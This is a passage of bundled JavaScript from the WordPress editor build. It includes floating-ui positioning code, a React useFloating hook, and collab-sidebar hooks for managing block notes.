27928 const rect = getClientRectFromClippingAncestor(element, clippingAncestor, strategy);
27929 accRect.top = dist_floating_ui_utils_max(rect.top, accRect.top);
27930 accRect.right = dist_floating_ui_utils_min(rect.right, accRect.right);
27931 accRect.bottom = dist_floating_ui_utils_min(rect.bottom, accRect.bottom);
27932 accRect.left = dist_floating_ui_utils_max(rect.left, accRect.left);
27933 return accRect;
27934 }, getClientRectFromClippingAncestor(element, firstClippingAncestor, strategy));
27935 return {
27936 width: clippingRect.right - clippingRect.left,
27937 height: clippingRect.bottom - clippingRect.top,
27938 x: clippingRect.left,
27939 y: clippingRect.top
27940 };
27941}
27942
27943function getDimensions(element) {
27944 const {
27945 width,
27946 height
27947 } = getCssDimensions(element);
27948 return {
27949 width,
27950 height
27951 };
27952}
27953
27954function getRectRelativeToOffsetParent(element, offsetParent, strategy) {
27955 const isOffsetParentAnElement = isHTMLElement(offsetParent);
27956 const documentElement = getDocumentElement(offsetParent);
27957 const isFixed = strategy === 'fixed';
27958 const rect = getBoundingClientRect(element, true, isFixed, offsetParent);
27959 let scroll = {
27960 scrollLeft: 0,
27961 scrollTop: 0
27962 };
27963 const offsets = floating_ui_utils_createCoords(0);
27964 if (isOffsetParentAnElement || !isOffsetParentAnElement && !isFixed) {
27965 if (getNodeName(offsetParent) !== 'body' || isOverflowElement(documentElement)) {
27966 scroll = getNodeScroll(offsetParent);
27967 }
27968 if (isOffsetParentAnElement) {
27969 const offsetRect = getBoundingClientRect(offsetParent, true, isFixed, offsetParent);
27970 offsets.x = offsetRect.x + offsetParent.clientLeft;
27971 offsets.y = offsetRect.y + offsetParent.clientTop;
27972 } else if (documentElement) {
27973 offsets.x = getWindowScrollBarX(documentElement);
27974 }
27975 }
27976 const x = rect.left + scroll.scrollLeft - offsets.x;
27977 const y = rect.top + scroll.scrollTop - offsets.y;
27978 return {
27979 x,
27980 y,
27981 width: rect.width,
27982 height: rect.height
27983 };
27984}
27985
27986function getTrueOffsetParent(element, polyfill) {
27987 if (!isHTMLElement(element) || getComputedStyle(element).position === 'fixed') {
27988 return null;
27989 }
27990 if (polyfill) {
27991 return polyfill(element);
27992 }
27993 return element.offsetParent;
27994}
27995
27996// Gets the closest ancestor positioned element. Handles some edge cases,
27997// such as table ancestors and cross browser bugs.
27998function getOffsetParent(element, polyfill) {
27999 const window = getWindow(element);
28000 if (!isHTMLElement(element) || floating_ui_dom_isTopLayer(element)) {
28001 return window;
28002 }
28003 let offsetParent = getTrueOffsetParent(element, polyfill);
28004 while (offsetParent && isTableElement(offsetParent) && getComputedStyle(offsetParent).position === 'static') {
28005 offsetParent = getTrueOffsetParent(offsetParent, polyfill);
28006 }
28007 if (offsetParent && (getNodeName(offsetParent) === 'html' || getNodeName(offsetParent) === 'body' && getComputedStyle(offsetParent).position === 'static' && !isContainingBlock(offsetParent))) {
28008 return window;
28009 }
28010 return offsetParent || getContainingBlock(element) || window;
28011}
28012
28013const getElementRects = async function (data) {
28014 const getOffsetParentFn = this.getOffsetParent || getOffsetParent;
28015 const getDimensionsFn = this.getDimensions;
28016 return {
28017 reference: getRectRelativeToOffsetParent(data.reference, await getOffsetParentFn(data.floating), data.strategy),
28018 floating: {
28019 x: 0,
28020 y: 0,
28021 ...(await getDimensionsFn(data.floating))
28022 }
28023 };
28024};
28025
28026function isRTL(element) {
28027 return getComputedStyle(element).direction === 'rtl';
28028}
28029
28030const platform = {
28031 convertOffsetParentRelativeRectToViewportRelativeRect,
28032 getDocumentElement: getDocumentElement,
28033 getClippingRect,
28034 getOffsetParent,
28035 getElementRects,
28036 getClientRects,
28037 getDimensions,
28038 getScale,
28039 isElement: isElement,
28040 isRTL
28041};
28042
28043// https://samthor.au/2021/observing-dom/
28044function observeMove(element, onMove) {
28045 let io = null;
28046 let timeoutId;
28047 const root = getDocumentElement(element);
28048 function cleanup() {
28049 var _io;
28050 clearTimeout(timeoutId);
28051 (_io = io) == null || _io.disconnect();
28052 io = null;
28053 }
28054 function refresh(skip, threshold) {
28055 if (skip === void 0) {
28056 skip = false;
28057 }
28058 if (threshold === void 0) {
28059 threshold = 1;
28060 }
28061 cleanup();
28062 const {
28063 left,
28064 top,
28065 width,
28066 height
28067 } = element.getBoundingClientRect();
28068 if (!skip) {
28069 onMove();
28070 }
28071 if (!width || !height) {
28072 return;
28073 }
28074 const insetTop = floating_ui_utils_floor(top);
28075 const insetRight = floating_ui_utils_floor(root.clientWidth - (left + width));
28076 const insetBottom = floating_ui_utils_floor(root.clientHeight - (top + height));
28077 const insetLeft = floating_ui_utils_floor(left);
28078 const rootMargin = -insetTop + "px " + -insetRight + "px " + -insetBottom + "px " + -insetLeft + "px";
28079 const options = {
28080 rootMargin,
28081 threshold: dist_floating_ui_utils_max(0, dist_floating_ui_utils_min(1, threshold)) || 1
28082 };
28083 let isFirstUpdate = true;
28084 function handleObserve(entries) {
28085 const ratio = entries[0].intersectionRatio;
28086 if (ratio !== threshold) {
28087 if (!isFirstUpdate) {
28088 return refresh();
28089 }
28090 if (!ratio) {
28091 timeoutId = setTimeout(() => {
28092 refresh(false, 1e-7);
28093 }, 100);
28094 } else {
28095 refresh(false, ratio);
28096 }
28097 }
28098 isFirstUpdate = false;
28099 }
28100
28101 // Older browsers don't support a `document` as the root and will throw an
28102 // error.
28103 try {
28104 io = new IntersectionObserver(handleObserve, {
28105 ...options,
28106 // Handle <iframe>s
28107 root: root.ownerDocument
28108 });
28109 } catch (e) {
28110 io = new IntersectionObserver(handleObserve, options);
28111 }
28112 io.observe(element);
28113 }
28114 refresh(true);
28115 return cleanup;
28116}
28117
28118/**
28119 * Automatically updates the position of the floating element when necessary.
28120 * Should only be called when the floating element is mounted on the DOM or
28121 * visible on the screen.
28122 * @returns cleanup function that should be invoked when the floating element is
28123 * removed from the DOM or hidden from the screen.
28124 * @see https://floating-ui.com/docs/autoUpdate
28125 */
28126function autoUpdate(reference, floating, update, options) {
28127 if (options === void 0) {
28128 options = {};
28129 }
28130 const {
28131 ancestorScroll = true,
28132 ancestorResize = true,
28133 elementResize = typeof ResizeObserver === 'function',
28134 layoutShift = typeof IntersectionObserver === 'function',
28135 animationFrame = false
28136 } = options;
28137 const referenceEl = unwrapElement(reference);
28138 const ancestors = ancestorScroll || ancestorResize ? [...(referenceEl ? getOverflowAncestors(referenceEl) : []), ...getOverflowAncestors(floating)] : [];
28139 ancestors.forEach(ancestor => {
28140 ancestorScroll && ancestor.addEventListener('scroll', update, {
28141 passive: true
28142 });
28143 ancestorResize && ancestor.addEventListener('resize', update);
28144 });
28145 const cleanupIo = referenceEl && layoutShift ? observeMove(referenceEl, update) : null;
28146 let reobserveFrame = -1;
28147 let resizeObserver = null;
28148 if (elementResize) {
28149 resizeObserver = new ResizeObserver(_ref => {
28150 let [firstEntry] = _ref;
28151 if (firstEntry && firstEntry.target === referenceEl && resizeObserver) {
28152 // Prevent update loops when using the `size` middleware.
28153 // https://github.com/floating-ui/floating-ui/issues/1740
28154 resizeObserver.unobserve(floating);
28155 cancelAnimationFrame(reobserveFrame);
28156 reobserveFrame = requestAnimationFrame(() => {
28157 var _resizeObserver;
28158 (_resizeObserver = resizeObserver) == null || _resizeObserver.observe(floating);
28159 });
28160 }
28161 update();
28162 });
28163 if (referenceEl && !animationFrame) {
28164 resizeObserver.observe(referenceEl);
28165 }
28166 resizeObserver.observe(floating);
28167 }
28168 let frameId;
28169 let prevRefRect = animationFrame ? getBoundingClientRect(reference) : null;
28170 if (animationFrame) {
28171 frameLoop();
28172 }
28173 function frameLoop() {
28174 const nextRefRect = getBoundingClientRect(reference);
28175 if (prevRefRect && (nextRefRect.x !== prevRefRect.x || nextRefRect.y !== prevRefRect.y || nextRefRect.width !== prevRefRect.width || nextRefRect.height !== prevRefRect.height)) {
28176 update();
28177 }
28178 prevRefRect = nextRefRect;
28179 frameId = requestAnimationFrame(frameLoop);
28180 }
28181 update();
28182 return () => {
28183 var _resizeObserver2;
28184 ancestors.forEach(ancestor => {
28185 ancestorScroll && ancestor.removeEventListener('scroll', update);
28186 ancestorResize && ancestor.removeEventListener('resize', update);
28187 });
28188 cleanupIo == null || cleanupIo();
28189 (_resizeObserver2 = resizeObserver) == null || _resizeObserver2.disconnect();
28190 resizeObserver = null;
28191 if (animationFrame) {
28192 cancelAnimationFrame(frameId);
28193 }
28194 };
28195}
28196
28197/**
28198 * Optimizes the visibility of the floating element by choosing the placement
28199 * that has the most space available automatically, without needing to specify a
28200 * preferred placement. Alternative to `flip`.
28201 * @see https://floating-ui.com/docs/autoPlacement
28202 */
28203const floating_ui_dom_autoPlacement = (/* unused pure expression or super */ null && (autoPlacement$1));
28204
28205/**
28206 * Optimizes the visibility of the floating element by shifting it in order to
28207 * keep it in view when it will overflow the clipping boundary.
28208 * @see https://floating-ui.com/docs/shift
28209 */
28210const floating_ui_dom_shift = (/* unused pure expression or super */ null && (shift$1));
28211
28212/**
28213 * Optimizes the visibility of the floating element by flipping the `placement`
28214 * in order to keep it in view when the preferred placement(s) will overflow the
28215 * clipping boundary. Alternative to `autoPlacement`.
28216 * @see https://floating-ui.com/docs/flip
28217 */
28218const floating_ui_dom_flip = (/* unused pure expression or super */ null && (flip$1));
28219
28220/**
28221 * Provides data that allows you to change the size of the floating element —
28222 * for instance, prevent it from overflowing the clipping boundary or match the
28223 * width of the reference element.
28224 * @see https://floating-ui.com/docs/size
28225 */
28226const floating_ui_dom_size = (/* unused pure expression or super */ null && (size$1));
28227
28228/**
28229 * Provides data to hide the floating element in applicable situations, such as
28230 * when it is not in the same clipping context as the reference element.
28231 * @see https://floating-ui.com/docs/hide
28232 */
28233const floating_ui_dom_hide = (/* unused pure expression or super */ null && (hide$1));
28234
28235/**
28236 * Provides data to position an inner element of the floating element so that it
28237 * appears centered to the reference element.
28238 * @see https://floating-ui.com/docs/arrow
28239 */
28240const floating_ui_dom_arrow = (/* unused pure expression or super */ null && (arrow$1));
28241
28242/**
28243 * Provides improved positioning for inline reference elements that can span
28244 * over multiple lines, such as hyperlinks or range selections.
28245 * @see https://floating-ui.com/docs/inline
28246 */
28247const floating_ui_dom_inline = (/* unused pure expression or super */ null && (inline$1));
28248
28249/**
28250 * Built-in `limiter` that will stop `shift()` at a certain point.
28251 */
28252const floating_ui_dom_limitShift = (/* unused pure expression or super */ null && (limitShift$1));
28253
28254/**
28255 * Computes the `x` and `y` coordinates that will place the floating element
28256 * next to a given reference element.
28257 */
28258const floating_ui_dom_computePosition = (reference, floating, options) => {
28259 // This caches the expensive `getClippingElementAncestors` function so that
28260 // multiple lifecycle resets re-use the same result. It only lives for a
28261 // single call. If other functions become expensive, we can add them as well.
28262 const cache = new Map();
28263 const mergedOptions = {
28264 platform,
28265 ...options
28266 };
28267 const platformWithCache = {
28268 ...mergedOptions.platform,
28269 _c: cache
28270 };
28271 return computePosition(reference, floating, {
28272 ...mergedOptions,
28273 platform: platformWithCache
28274 });
28275};
28276
28277
28278
28279// EXTERNAL MODULE: external "React"
28280var external_React_ = __webpack_require__(1609);
28281;// external "ReactDOM"
28282const external_ReactDOM_namespaceObject = window["ReactDOM"];
28283;// ./node_modules/@floating-ui/react-dom/dist/floating-ui.react-dom.mjs
28284
28285
28286
28287
28288
28289
28290/**
28291 * Provides data to position an inner element of the floating element so that it
28292 * appears centered to the reference element.
28293 * This wraps the core `arrow` middleware to allow React refs as the element.
28294 * @see https://floating-ui.com/docs/arrow
28295 */
28296const floating_ui_react_dom_arrow = options => {
28297 function isRef(value) {
28298 return {}.hasOwnProperty.call(value, 'current');
28299 }
28300 return {
28301 name: 'arrow',
28302 options,
28303 fn(state) {
28304 const {
28305 element,
28306 padding
28307 } = typeof options === 'function' ? options(state) : options;
28308 if (element && isRef(element)) {
28309 if (element.current != null) {
28310 return arrow$1({
28311 element: element.current,
28312 padding
28313 }).fn(state);
28314 }
28315 return {};
28316 }
28317 if (element) {
28318 return arrow$1({
28319 element,
28320 padding
28321 }).fn(state);
28322 }
28323 return {};
28324 }
28325 };
28326};
28327
28328var index = typeof document !== 'undefined' ? external_React_.useLayoutEffect : external_React_.useEffect;
28329
28330// Fork of `fast-deep-equal` that only does the comparisons we need and compares
28331// functions
28332function deepEqual(a, b) {
28333 if (a === b) {
28334 return true;
28335 }
28336 if (typeof a !== typeof b) {
28337 return false;
28338 }
28339 if (typeof a === 'function' && a.toString() === b.toString()) {
28340 return true;
28341 }
28342 let length;
28343 let i;
28344 let keys;
28345 if (a && b && typeof a === 'object') {
28346 if (Array.isArray(a)) {
28347 length = a.length;
28348 if (length !== b.length) return false;
28349 for (i = length; i-- !== 0;) {
28350 if (!deepEqual(a[i], b[i])) {
28351 return false;
28352 }
28353 }
28354 return true;
28355 }
28356 keys = Object.keys(a);
28357 length = keys.length;
28358 if (length !== Object.keys(b).length) {
28359 return false;
28360 }
28361 for (i = length; i-- !== 0;) {
28362 if (!{}.hasOwnProperty.call(b, keys[i])) {
28363 return false;
28364 }
28365 }
28366 for (i = length; i-- !== 0;) {
28367 const key = keys[i];
28368 if (key === '_owner' && a.$$typeof) {
28369 continue;
28370 }
28371 if (!deepEqual(a[key], b[key])) {
28372 return false;
28373 }
28374 }
28375 return true;
28376 }
28377
28378 // biome-ignore lint/suspicious/noSelfCompare: in source
28379 return a !== a && b !== b;
28380}
28381
28382function getDPR(element) {
28383 if (typeof window === 'undefined') {
28384 return 1;
28385 }
28386 const win = element.ownerDocument.defaultView || window;
28387 return win.devicePixelRatio || 1;
28388}
28389
28390function roundByDPR(element, value) {
28391 const dpr = getDPR(element);
28392 return Math.round(value * dpr) / dpr;
28393}
28394
28395function useLatestRef(value) {
28396 const ref = external_React_.useRef(value);
28397 index(() => {
28398 ref.current = value;
28399 });
28400 return ref;
28401}
28402
28403/**
28404 * Provides data to position a floating element.
28405 * @see https://floating-ui.com/docs/useFloating
28406 */
28407function useFloating(options) {
28408 if (options === void 0) {
28409 options = {};
28410 }
28411 const {
28412 placement = 'bottom',
28413 strategy = 'absolute',
28414 middleware = [],
28415 platform,
28416 elements: {
28417 reference: externalReference,
28418 floating: externalFloating
28419 } = {},
28420 transform = true,
28421 whileElementsMounted,
28422 open
28423 } = options;
28424 const [data, setData] = external_React_.useState({
28425 x: 0,
28426 y: 0,
28427 strategy,
28428 placement,
28429 middlewareData: {},
28430 isPositioned: false
28431 });
28432 const [latestMiddleware, setLatestMiddleware] = external_React_.useState(middleware);
28433 if (!deepEqual(latestMiddleware, middleware)) {
28434 setLatestMiddleware(middleware);
28435 }
28436 const [_reference, _setReference] = external_React_.useState(null);
28437 const [_floating, _setFloating] = external_React_.useState(null);
28438 const setReference = external_React_.useCallback(node => {
28439 if (node !== referenceRef.current) {
28440 referenceRef.current = node;
28441 _setReference(node);
28442 }
28443 }, []);
28444 const setFloating = external_React_.useCallback(node => {
28445 if (node !== floatingRef.current) {
28446 floatingRef.current = node;
28447 _setFloating(node);
28448 }
28449 }, []);
28450 const referenceEl = externalReference || _reference;
28451 const floatingEl = externalFloating || _floating;
28452 const referenceRef = external_React_.useRef(null);
28453 const floatingRef = external_React_.useRef(null);
28454 const dataRef = external_React_.useRef(data);
28455 const hasWhileElementsMounted = whileElementsMounted != null;
28456 const whileElementsMountedRef = useLatestRef(whileElementsMounted);
28457 const platformRef = useLatestRef(platform);
28458 const update = external_React_.useCallback(() => {
28459 if (!referenceRef.current || !floatingRef.current) {
28460 return;
28461 }
28462 const config = {
28463 placement,
28464 strategy,
28465 middleware: latestMiddleware
28466 };
28467 if (platformRef.current) {
28468 config.platform = platformRef.current;
28469 }
28470 floating_ui_dom_computePosition(referenceRef.current, floatingRef.current, config).then(data => {
28471 const fullData = {
28472 ...data,
28473 isPositioned: true
28474 };
28475 if (isMountedRef.current && !deepEqual(dataRef.current, fullData)) {
28476 dataRef.current = fullData;
28477 external_ReactDOM_namespaceObject.flushSync(() => {
28478 setData(fullData);
28479 });
28480 }
28481 });
28482 }, [latestMiddleware, placement, strategy, platformRef]);
28483 index(() => {
28484 if (open === false && dataRef.current.isPositioned) {
28485 dataRef.current.isPositioned = false;
28486 setData(data => ({
28487 ...data,
28488 isPositioned: false
28489 }));
28490 }
28491 }, [open]);
28492 const isMountedRef = external_React_.useRef(false);
28493 index(() => {
28494 isMountedRef.current = true;
28495 return () => {
28496 isMountedRef.current = false;
28497 };
28498 }, []);
28499
28500 // biome-ignore lint/correctness/useExhaustiveDependencies: `hasWhileElementsMounted` is intentionally included.
28501 index(() => {
28502 if (referenceEl) referenceRef.current = referenceEl;
28503 if (floatingEl) floatingRef.current = floatingEl;
28504 if (referenceEl && floatingEl) {
28505 if (whileElementsMountedRef.current) {
28506 return whileElementsMountedRef.current(referenceEl, floatingEl, update);
28507 }
28508 update();
28509 }
28510 }, [referenceEl, floatingEl, update, whileElementsMountedRef, hasWhileElementsMounted]);
28511 const refs = external_React_.useMemo(() => ({
28512 reference: referenceRef,
28513 floating: floatingRef,
28514 setReference,
28515 setFloating
28516 }), [setReference, setFloating]);
28517 const elements = external_React_.useMemo(() => ({
28518 reference: referenceEl,
28519 floating: floatingEl
28520 }), [referenceEl, floatingEl]);
28521 const floatingStyles = external_React_.useMemo(() => {
28522 const initialStyles = {
28523 position: strategy,
28524 left: 0,
28525 top: 0
28526 };
28527 if (!elements.floating) {
28528 return initialStyles;
28529 }
28530 const x = roundByDPR(elements.floating, data.x);
28531 const y = roundByDPR(elements.floating, data.y);
28532 if (transform) {
28533 return {
28534 ...initialStyles,
28535 transform: "translate(" + x + "px, " + y + "px)",
28536 ...(getDPR(elements.floating) >= 1.5 && {
28537 willChange: 'transform'
28538 })
28539 };
28540 }
28541 return {
28542 position: strategy,
28543 left: x,
28544 top: y
28545 };
28546 }, [strategy, transform, elements.floating, data.x, data.y]);
28547 return external_React_.useMemo(() => ({
28548 ...data,
28549 update,
28550 refs,
28551 elements,
28552 floatingStyles
28553 }), [data, update, refs, elements, floatingStyles]);
28554}
28555
28556
28557
28558;// ./node_modules/@wordpress/editor/build-module/components/collab-sidebar/hooks.js
28559
28560
28561
28562
28563
28564
28565
28566
28567
28568
28569
28570
28571
28572const { useBlockElementRef, cleanEmptyObject: hooks_cleanEmptyObject } = unlock(
28573 external_wp_blockEditor_namespaceObject.privateApis
28574);
28575function useBlockComments(postId) {
28576 const [commentLastUpdated, reflowComments] = (0,external_wp_element_namespaceObject.useReducer)(
28577 () => Date.now(),
28578 0
28579 );
28580 const queryArgs = {
28581 post: postId,
28582 type: "note",
28583 status: "all",
28584 per_page: -1
28585 };
28586 const { records: threads } = (0,external_wp_coreData_namespaceObject.useEntityRecords)(
28587 "root",
28588 "comment",
28589 queryArgs,
28590 { enabled: !!postId && typeof postId === "number" }
28591 );
28592 const { getBlockAttributes } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
28593 const { clientIds } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
28594 const { getClientIdsWithDescendants } = select(external_wp_blockEditor_namespaceObject.store);
28595 return {
28596 clientIds: getClientIdsWithDescendants()
28597 };
28598 }, []);
28599 const { resultComments, unresolvedSortedThreads } = (0,external_wp_element_namespaceObject.useMemo)(() => {
28600 if (!threads || threads.length === 0) {
28601 return { resultComments: [], unresolvedSortedThreads: [] };
28602 }
28603 const blocksWithComments = clientIds.reduce((results, clientId) => {
28604 const commentId = getBlockAttributes(clientId)?.metadata?.noteId;
28605 if (commentId) {
28606 results[clientId] = commentId;
28607 }
28608 return results;
28609 }, {});
28610 const compare = {};
28611 const result = [];
28612 threads.forEach((item) => {
28613 const itemBlock = Object.keys(blocksWithComments).find(
28614 (key) => blocksWithComments[key] === item.id
28615 );
28616 compare[item.id] = {
28617 ...item,
28618 reply: [],
28619 blockClientId: item.parent === 0 ? itemBlock : null
28620 };
28621 });
28622 threads.forEach((item) => {
28623 if (item.parent === 0) {
28624 result.push(compare[item.id]);
28625 } else if (compare[item.parent]) {
28626 compare[item.parent].reply.push(compare[item.id]);
28627 }
28628 });
28629 if (0 === result?.length) {
28630 return { resultComments: [], unresolvedSortedThreads: [] };
28631 }
28632 const updatedResult = result.map((item) => ({
28633 ...item,
28634 reply: [...item.reply].reverse()
28635 }));
28636 const threadIdMap = new Map(
28637 updatedResult.map((thread) => [String(thread.id), thread])
28638 );
28639 const mappedIds = new Set(
28640 Object.values(blocksWithComments).map((id) => String(id))
28641 );
28642 const unresolvedSortedComments = Object.values(blocksWithComments).map((commentId) => threadIdMap.get(String(commentId))).filter(
28643 (thread) => thread !== void 0 && thread.status === "hold"
28644 );
28645 const resolvedSortedComments = Object.values(blocksWithComments).map((commentId) => threadIdMap.get(String(commentId))).filter(
28646 (thread) => thread !== void 0 && thread.status === "approved"
28647 );
28648 const orphanedComments = updatedResult.filter(
28649 (thread) => !mappedIds.has(String(thread.id))
28650 );
28651 const allSortedComments = [
28652 ...unresolvedSortedComments,
28653 ...resolvedSortedComments,
28654 ...orphanedComments
28655 ];
28656 return {
28657 resultComments: allSortedComments,
28658 unresolvedSortedThreads: unresolvedSortedComments
28659 };
28660 }, [clientIds, threads, getBlockAttributes]);
28661 return {
28662 resultComments,
28663 unresolvedSortedThreads,
28664 reflowComments,
28665 commentLastUpdated
28666 };
28667}
28668function useBlockCommentsActions(reflowComments = utils_noop) {
28669 const { createNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
28670 const { saveEntityRecord, deleteEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
28671 const { getCurrentPostId } = (0,external_wp_data_namespaceObject.useSelect)(store_store);
28672 const { getBlockAttributes, getSelectedBlockClientId } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
28673 const { updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
28674 const onError = (error) => {
28675 const errorMessage = error.message && error.code !== "unknown_error" ? (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(error.message) : (0,external_wp_i18n_namespaceObject.__)("An error occurred while performing an update.");
28676 createNotice("error", errorMessage, {
28677 type: "snackbar",
28678 isDismissible: true
28679 });
28680 };
28681 const onCreate = async ({ content, parent }) => {
28682 try {
28683 const savedRecord = await saveEntityRecord(
28684 "root",
28685 "comment",
28686 {
28687 post: getCurrentPostId(),
28688 content,
28689 status: "hold",
28690 type: "note",
28691 parent: parent || 0
28692 },
28693 { throwOnError: true }
28694 );
28695 if (!parent && savedRecord?.id) {
28696 const clientId = getSelectedBlockClientId();
28697 const metadata = getBlockAttributes(clientId)?.metadata;
28698 updateBlockAttributes(clientId, {
28699 metadata: {
28700 ...metadata,
28701 noteId: savedRecord.id
28702 }
28703 });
28704 }
28705 createNotice(
28706 "snackbar",
28707 parent ? (0,external_wp_i18n_namespaceObject.__)("Reply added.") : (0,external_wp_i18n_namespaceObject.__)("Note added."),
28708 {
28709 type: "snackbar",
28710 isDismissible: true
28711 }
28712 );
28713 setTimeout(reflowComments, 300);
28714 return savedRecord;
28715 } catch (error) {
28716 reflowComments();
28717 onError(error);
28718 }
28719 };
28720 const onEdit = async ({ id, content, status }) => {
28721 const messageType = status ? status : "updated";
28722 const messages = {
28723 approved: (0,external_wp_i18n_namespaceObject.__)("Note marked as resolved."),
28724 hold: (0,external_wp_i18n_namespaceObject.__)("Note reopened."),
28725 updated: (0,external_wp_i18n_namespaceObject.__)("Note updated.")
28726 };
28727 try {
28728 if (status === "approved" || status === "hold") {
28729 await saveEntityRecord(
28730 "root",
28731 "comment",
28732 {
28733 id,
28734 status
28735 },
28736 {
28737 throwOnError: true
28738 }
28739 );
28740 const newCommentData = {
28741 post: getCurrentPostId(),
28742 content: content || "",
28743 // Empty content for resolve, content for reopen.
28744 type: "note",
28745 status,
28746 parent: id,
28747 meta: {
28748 _wp_note_status: status === "approved" ? "resolved" : "reopen"
28749 }
28750 };
28751 await saveEntityRecord("root", "comment", newCommentData, {
28752 throwOnError: true
28753 });
28754 } else {
28755 const updateData = {
28756 id,
28757 content,
28758 status
28759 };
28760 await saveEntityRecord("root", "comment", updateData, {
28761 throwOnError: true
28762 });
28763 }
28764 createNotice(
28765 "snackbar",
28766 messages[messageType] ?? (0,external_wp_i18n_namespaceObject.__)("Note updated."),
28767 {
28768 type: "snackbar",
28769 isDismissible: true
28770 }
28771 );
28772 reflowComments();
28773 } catch (error) {
28774 reflowComments();
28775 onError(error);
28776 }
28777 };
28778 const onDelete = async (comment) => {
28779 try {
28780 await deleteEntityRecord(
28781 "root",
28782 "comment",
28783 comment.id,
28784 void 0,
28785 {
28786 throwOnError: true
28787 }
28788 );
28789 if (!comment.parent) {
28790 const clientId = getSelectedBlockClientId();
28791 const metadata = getBlockAttributes(clientId)?.metadata;
28792 updateBlockAttributes(clientId, {
28793 metadata: hooks_cleanEmptyObject({
28794 ...metadata,
28795 noteId: void 0
28796 })
28797 });
28798 }
28799 createNotice("snackbar", (0,external_wp_i18n_namespaceObject.__)("Note deleted."), {
28800 type: "snackbar",
28801 isDismissible: true
28802 });
28803 reflowComments();
28804 } catch (error) {
28805 reflowComments();
28806 onError(error);
28807 }
28808 };
28809 return { onCreate, onEdit, onDelete };
28810}
28811function useEnableFloatingSidebar(enabled = false) {
28812 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
28813 (0,external_wp_element_namespaceObject.useEffect)(() => {
28814 if (!enabled) {
28815 return;
28816 }
28817 const { getActiveComplementaryArea } = registry.select(store);
28818 const { disableComplementaryArea, enableComplementaryArea } = registry.dispatch(store);
28819 const unsubscribe = registry.subscribe(() => {
28820 if (getActiveComplementaryArea("core") === null) {
28821 enableComplementaryArea("core", collabSidebarName);
28822 }
28823 });
28824 return () => {
28825 unsubscribe();
28826 if (getActiveComplementaryArea("core") === collabSidebarName) {
28827 disableComplementaryArea("core", collabSidebarName);
28828 }
28829 };
28830 }, [enabled, registry]);
28831}
28832function useFloatingThread({
28833 thread,
28834 calculatedOffset,
28835 setHeights,
28836 selectedThread,
28837 setBlockRef,
28838 commentLastUpdated
28839}) {
28840 const blockRef = (0,external_wp_element_namespaceObject.useRef)();
28841 useBlockElementRef(thread.blockClientId, blockRef);
28842 const blockMode = (0,external_wp_data_namespaceObject.useSelect)(
28843 (select) => {
28844 return thread.blockClientId ? select(external_wp_blockEditor_namespaceObject.store).getBlockMode(
28845 thread.blockClientId
28846 ) : null;
28847 },
28848 [thread.blockClientId]
28849 );
28850 const updateHeight = (0,external_wp_element_namespaceObject.useCallback)(
28851 (id, newHeight) => {
28852 setHeights((prev) => {
28853 if (prev[id] !== newHeight) {
28854 return { ...prev, [id]: newHeight };
28855 }
28856 return prev;
28857 });
28858 },
28859 [setHeights]
28860 );
28861 const { y, refs } = useFloating({
28862 placement: "right-start",
28863 middleware: [
28864 offset({
28865 crossAxis: calculatedOffset || -16
28866 })
28867 ],
28868 whileElementsMounted: autoUpdate
28869 });
28870 (0,external_wp_element_namespaceObject.useEffect)(() => {
28871 if (blockRef.current) {
28872 refs.setReference(blockRef.current);
28873 }
28874 }, [blockRef, refs, commentLastUpdated, blockMode]);
28875 (0,external_wp_element_namespaceObject.useEffect)(() => {
28876 if (refs.floating?.current) {
28877 setBlockRef(thread.id, blockRef.current);
28878 }
28879 }, [thread.id, refs.floating, setBlockRef]);
28880 (0,external_wp_element_namespaceObject.useEffect)(() => {
28881 if (refs.floating?.current) {
28882 const newHeight = refs.floating.current.scrollHeight;
28883 updateHeight(thread.id, newHeight);
28884 }
28885 }, [
28886 thread.id,
28887 updateHeight,
28888 refs.floating,
28889 selectedThread,
28890 commentLastUpdated
28891 ]);
28892 return {
28893 blockRef,
28894 y,
28895 refs
28896 };
28897}
28898
28899
28900;// ./node_modules/@wordpress/editor/build-module/components/collab-sidebar/add-comment.js
28901
28902
28903
28904
28905
28906
28907
28908
28909
28910
28911const { useBlockElement } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
28912function AddComment({
28913 onSubmit,
28914 newNoteFormState,
28915 setNewNoteFormState,
28916 commentSidebarRef,
28917 reflowComments = utils_noop,
28918 isFloating = false,
28919 y,
28920 refs
28921}) {
28922 const { clientId } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
28923 const { getSelectedBlockClientId } = select(external_wp_blockEditor_namespaceObject.store);
28924 return {
28925 clientId: getSelectedBlockClientId()
28926 };
28927 }, []);
28928 const blockElement = useBlockElement(clientId);
28929 const { toggleBlockSpotlight } = unlock((0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store));
28930 const unselectThread = () => {
28931 setNewNoteFormState("closed");
28932 blockElement?.focus();
28933 toggleBlockSpotlight(clientId, false);
28934 };
28935 if (newNoteFormState !== "open" || !clientId) {
28936 return null;
28937 }
28938 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
28939 external_wp_components_namespaceObject.__experimentalVStack,
28940 {
28941 className: dist_clsx(
28942 "editor-collab-sidebar-panel__thread is-selected",
28943 {
28944 "is-floating": isFloating
28945 }
28946 ),
28947 spacing: "3",
28948 tabIndex: 0,
28949 "aria-label": (0,external_wp_i18n_namespaceObject.__)("New note"),
28950 role: "treeitem",
28951 ref: isFloating ? refs.setFloating : void 0,
28952 style: isFloating ? (
28953 // Delay showing the floating note box until a Y position is known to prevent blink.
28954 { top: y, opacity: !y ? 0 : void 0 }
28955 ) : void 0,
28956 onBlur: (event) => {
28957 if (event.currentTarget.contains(event.relatedTarget)) {
28958 return;
28959 }
28960 toggleBlockSpotlight(clientId, false);
28961 setNewNoteFormState("closed");
28962 },
28963 children: [
